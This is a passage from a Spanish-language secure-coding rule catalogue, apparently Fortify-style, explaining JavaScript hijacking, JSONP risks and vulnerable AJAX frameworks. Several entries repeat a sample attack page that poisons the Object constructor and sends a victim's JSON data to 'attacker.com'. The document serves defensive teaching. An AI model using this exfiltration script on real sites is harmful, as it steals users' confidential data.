Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.

Ejemplo 2: el siguiente código muestra un método de vista de Django de ejemplo que envía una respuesta JSON que contiene datos confidenciales en forma de una matriz de JSON.


from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Joe Walker JSON is not as safe as people think it is
[3] Jeremiah Grossman Advanced Web Attack Techniques using GMail
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[5] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[6] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[7] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[10] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados e inmunizando la función de devolución de llamada.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir o verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información personalmente identificable.
Debido a su diseño, JSONP es un ataque XSS autoinfligido, ya que para un procesamiento JSON adecuado es necesario que el nombre de la función de devolución de llamada se refleje en el sitio solicitante. Es obligatorio validar e inmunizar el nombre de la función de devolución de llamada para evitar la inyección de JavaScript. Con el fin de inmunizar el nombre de la función de devolución de llamada, considere la posibilidad de crear una lista de caracteres permitidos, cuando sea posible, o admita únicamente caracteres alfanuméricos.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
JSONP es una técnica de comunicación insegura que solo debería utilizarse cuando no haya datos personales ni confidenciales implicados.
Explanation
Debido a su diseño, JSONP permite realizar solicitudes entre dominios pero carece de todo mecanismo para restringir y verificar el origen de las solicitudes. Un sitio malintencionado puede realizar fácilmente una solicitud JSONP en nombre del usuario y procesar la respuesta JSON. Por este motivo, se recomienda encarecidamente evitar esta técnica de comunicación cuando se envíen datos confidenciales o información de identificación personal.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Las aplicaciones que utilizan Microsoft AJAX.NET (Atlas) pueden ser vulnerables a suplantación de JavaScript, permitiendo a un atacante no autorizado el acceso a datos confidenciales.
Explanation
Microsoft AJAX.NET (Atlas) utiliza JSON para transferir datos entre el servidor y el cliente. El marco de trabajo produce respuestas compuestas de JavaScript válido que se pueden evaluar utilizando una etiqueta <script> y, por tanto, es vulnerable a la suplantación de JavaScript [1]. De forma predeterminada, el marco de trabajo utiliza el método POST para enviar solicitudes, lo que dificulta la elaboración de una solicitud a partir de una etiqueta <script> maliciosa (puesto que las etiquetas <script> solo generan solicitudes GET). No obstante, Microsoft AJAX.NET ofrece mecanismos para utilizar solicitudes GET. De hecho, muchos expertos instan a los programadores a utilizar solicitudes GET para aprovechar la memoria caché del explorador y mejorar el rendimiento.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos JavaScript como un formato de transferencia de datos. 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks alerta sobre posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web exigen la política del mismo origen (SOP) para proteger a los usuarios de sitios web malintencionados. La política del mismo origen requiere que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web se deben originar a partir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un usuario malintencionado anular la política del mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. El fallo en la política del mismo origen es que permite que se incluya y ejecute JavaScript de cualquier sitio web en el contexto de cualquier otro sitio web. Incluso aunque un sitio malintencionado no pueda examinar directamente los datos cargados desde un sitio vulnerable en el cliente, puede aprovecharse de este fallo configurando un entorno que le permita ser testigo de la ejecución del JavaScript y de cualquier efecto secundario relevante que pueda tener. Puesto que muchas aplicaciones web 2.0 utilizan JavaScript como un mecanismo de transporte de datos, es frecuente que sean vulnerables mientras que las aplicaciones web tradicionales no lo son.

El formato más conocido para comunicar información en JavaScript es la Notación de objetos JavaScript (JSON). JSON RFC define la sintaxis de JSON como un subconjunto de la sintaxis literal de objetos JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones de JavaScript es vulnerable a suplantación de JavaScript. JSON hace que la suplantación de JavaScript resulte más fácil por el hecho de que una matriz de JSON es por sí misma una instrucción válida de JavaScript. Puesto que las matrices son una forma natural para comunicar listas, normalmente se utilizan siempre que una aplicación tiene que comunicar varios valores. Dicho de otra forma, una matriz de JSON es directamente vulnerable a suplantación de JavaScript. Un objeto de JSON solo es vulnerable si se enmarca en alguna otra estructura de JavaScript que sea por sí misma una instrucción válida de JavaScript.

Ejemplo 1: El siguiente ejemplo empieza mostrando una interacción de JSON legítima entre los componentes del cliente y el servidor de una aplicación web que se utiliza para administrar oportunidades de ventas. A continuación, se muestra cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está pensado para exploradores basados en Mozilla. Otros exploradores estándar no permiten la anulación de constructores nativos cuando se crea un objeto sin utilizar el operador nuevo.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y la siguiente, se han omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, la matriz en formato JSON contiene información confidencial relacionada con el usuario actual (una lista de oportunidades de ventas). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de aplicaciones web modernas, el identificador de sesión se almacena como una cookie.) No obstante, si una víctima visita un sitio web malintencionado, el sitio malintencionado puede recuperar la información mediante suplantación de JavaScript. Si se puede enga?ar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información de oportunidades de la víctima se enviará a la página web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado usa una etiqueta de script que incluye el objeto de JSON en la página actual. El explorador web enviará la cookie de la sesión adecuada con la solicitud. Dicho de otro modo, esta solicitud se tratará del mismo modo que si se hubiera originado en la aplicación legítima.

Cuando la matriz de JSON llegue al cliente, se evaluará dentro del contexto de la pagina malintencionada. Para poder ser testigo de la evaluación del objeto de JSON, la pagina malintencionada ha cambiado la definición de la función de JavaScript que se usa para crear objetos nuevos. De este modo, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían reemplazar el constructor predeterminado por matrices. Las aplicaciones creadas para utilizarse en un mashup suelen invocar a funciones de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está prevista para que la defina otra aplicación del mashup. La función de devolución de llamada hace que los ataques de secuestro de JavaScript sean un asunto sencillo; todo lo que tiene que hacer el atacante es definir la función. Las aplicaciones se pueden desarrollar para facilitar su integración en un mashup o para ser seguras, pero no es posible combinar las dos características. Si el usuario no ha iniciado sesión en un sitio vulnerable, el atacante puede compensarlo pidiendo al usuario que inicie sesión y mostrando después la página de inicio de sesión legítima de la aplicación.

Esto no es un ataque de suplantación de identidad (el atacante no obtiene acceso a las credenciales del usuario), de modo que las contramedidas de protección contra la suplantación de identidad no podrán repeler el ataque. Los ataques más complejos podrían realizar una serie de solicitudes a la aplicación haciendo que JavaScript genere dinámicamente etiquetas de scripts. Esta es la misma técnica que en ocasiones se usa para crear mashups de aplicaciones. La única diferencia es que, en esta situación de mashups, una de las aplicaciones es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Las aplicaciones que aprovechan las versiones del marco DWR Ajax 1.1.4 y anteriores son vulnerables a la suplantación de JavaScript, lo que permite que un atacante no autorizado lea datos confidenciales.
Explanation
Todas las versiones publicadas de DWR hasta la 1.1.4 incluida son vulnerables a la suplantación de JavaScript [1]. Hasta ahora, el marco no ha construido ningún mecanismo para impedir la vulnerabilidad. La buena noticia es que DWR 2.0 está protegido contra la suplantación de JavaScript mediante un mecanismo diseñado para evitar Cross-site Request Forgery. La protección aprovecha el hecho de que los scripts malintencionados no pueden leer secretos almacenados en cookies establecidas por otros dominios, lo que permite que el marco use un valor almacenado en una cookie como un secreto compartido entre el cliente y el servidor. DWR 2.0 agrega automáticamente la cookie de sesión a la solicitud en el cliente y verifica en el servidor que cada solicitud contenga el valor correcto.

Una aplicación puede ser vulnerable a suplantación de JavaScript si: 1) Utiliza objetos de JavaScript como formato de transferencia de datos 2) Maneja datos confidenciales. Dado que las vulnerabilidades de suplantación de JavaScript no se producen como resultado directo de un error de codificación, Fortify Secure Coding Rulepacks llama la atención ante posibles vulnerabilidades de suplantación de JavaScript mediante la identificación de código que parece generar JavaScript en una respuesta HTTP.

Los exploradores web aplican la directiva de mismo origen para proteger a los usuarios de sitios web malintencionados. La directiva de mismo origen exige que, para que JavaScript pueda acceder al contenido de una página web, tanto JavaScript como la página web deben provenir del mismo dominio. Sin la política del mismo origen, un sitio web malintencionado podía servir a JavaScript que carga información confidencial desde otros sitios web mediante las credenciales de clientes, seleccionarla y comunicársela de nuevo al atacante. La suplantación de JavaScript permite a un atacante eludir la directiva de mismo origen en el caso de que una aplicación web utilice JavaScript para comunicar información confidencial. La laguna jurídica en la directiva de mismo origen es que permite que JavaScript de cualquier sitio web se incluya y ejecute en el contexto de cualquier otro sitio web. Aunque un sitio malintencionado no puede examinar directamente los datos cargados desde un sitio vulnerable en el cliente, todavía puede aprovechar esta laguna configurando un entorno que le permita presenciar la ejecución de JavaScript y cualquier efecto secundario pertinente que pueda tener. Dado que muchas aplicaciones Web 2.0 utilizan JavaScript como mecanismo de transporte de datos, a menudo son vulnerables, mientras que las aplicaciones web tradicionales no lo son.

El formato más popular para comunicar información en JavaScript es la notación de objetos JavaScript (JSON). La norma RFC de JSON define la sintaxis JSON como un subconjunto de la sintaxis literal de objetos de JavaScript. JSON se basa en dos tipos de estructuras de datos: matrices y objetos. Cualquier formato de transporte de datos en el que los mensajes se puedan interpretar como una o más instrucciones JavaScript válidas es vulnerable a la suplantación de JavaScript. JSON facilita la suplantación de JavaScript por el hecho de que una matriz JSON se destaca por sí sola como una instrucción de JavaScript válida. Dado que las matrices son una forma natural de comunicar listas, se usan comúnmente cuando una aplicación necesita comunicar múltiples valores. Dicho de otra manera, una matriz JSON es directamente vulnerable a la suplantación de JavaScript. Un objeto JSON solo es vulnerable si está encapsulado en alguna otra construcción de JavaScript que se destaque por sí misma como una instrucción de JavaScript válida.

Ejemplo 1: El siguiente ejemplo comienza mostrando una interacción JSON legítima entre los componentes del cliente y el servidor de una aplicación web utilizada para administrar clientes potenciales. Continúa mostrando cómo un atacante puede imitar al cliente y obtener acceso a los datos confidenciales que devuelve el servidor. Tenga en cuenta que este ejemplo está escrito para exploradores basados en Mozilla. Otros exploradores convencionales no permiten anular los constructores nativos cuando se crea un objeto sin el uso del nuevo operador.

El cliente solicita datos de un servidor y evalúa el resultado como JSON con el siguiente código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Cuando se ejecuta el código, se genera una solicitud HTTP que tiene esta apariencia:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(En esta respuesta HTTP y en la que sigue, hemos omitido los encabezados HTTP que no son directamente relevantes para esta explicación).
El servidor responde con una matriz en formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


En este caso, el código JSON contiene información confidencial asociada con el usuario actual (una lista de clientes potenciales). Otros usuarios no pueden acceder a esta información sin conocer el identificador de sesión del usuario. (En la mayoría de las aplicaciones web modernas, el identificador de sesión se almacena como una cookie). Sin embargo, si una víctima visita un sitio web malintencionado, este puede recuperar la información mediante la suplantación de JavaScript. Si se puede engañar a una víctima para que visite una página web que contiene el siguiente código malintencionado, la información principal de la víctima se enviará al sitio web del atacante.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


El código malintencionado utiliza una etiqueta de script para incluir el objeto JSON en la página actual. El explorador web enviará la cookie de sesión correspondiente con la solicitud. En otras palabras, esta solicitud se manejará como si se hubiera originado en la aplicación legítima.

Cuando la matriz JSON llega al cliente, se evaluará en el contexto de la página malintencionada. Para presenciar la evaluación del objeto JSON, la página malintencionada ha redefinido la función de JavaScript utilizada para crear objetos. De esta manera, el código malintencionado ha insertado un enlace que le permite acceder a la creación de cada objeto y transmitir el contenido del objeto al sitio malintencionado. Otros ataques podrían anular el constructor predeterminado de las matrices. Las aplicaciones que están diseñadas para usarse en un mashup a veces invocan una función de devolución de llamada al final de cada mensaje de JavaScript. La función de devolución de llamada está destinada a ser definida por otra aplicación en el mashup. Una función de devolución de llamada hace que un ataque de suplantación de JavaScript sea un asunto trivial: todo lo que el atacante tiene que hacer es definir la función. Una aplicación puede ser compatible con mashup o puede ser segura, pero no ambas cosas. Si el usuario no ha iniciado sesión en el sitio vulnerable, el atacante puede compensarlo pidiéndole que lo haga y mostrando luego la página de inicio de sesión legítima de la aplicación.

Este no es un ataque de suplantación de identidad (phishing), el atacante no obtiene acceso a las credenciales del usuario, por lo que las medidas contra este tipo de ataque no podrán acabar con él. Ataques más complejos podrían realizar una serie de solicitudes a la aplicación mediante el uso de JavaScript para generar etiquetas de script de forma dinámica. Esta misma técnica se utiliza a veces para crear mashups de aplicaciones. La única diferencia es que, en este escenario de mashup, una de las aplicaciones involucradas es malintencionada.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
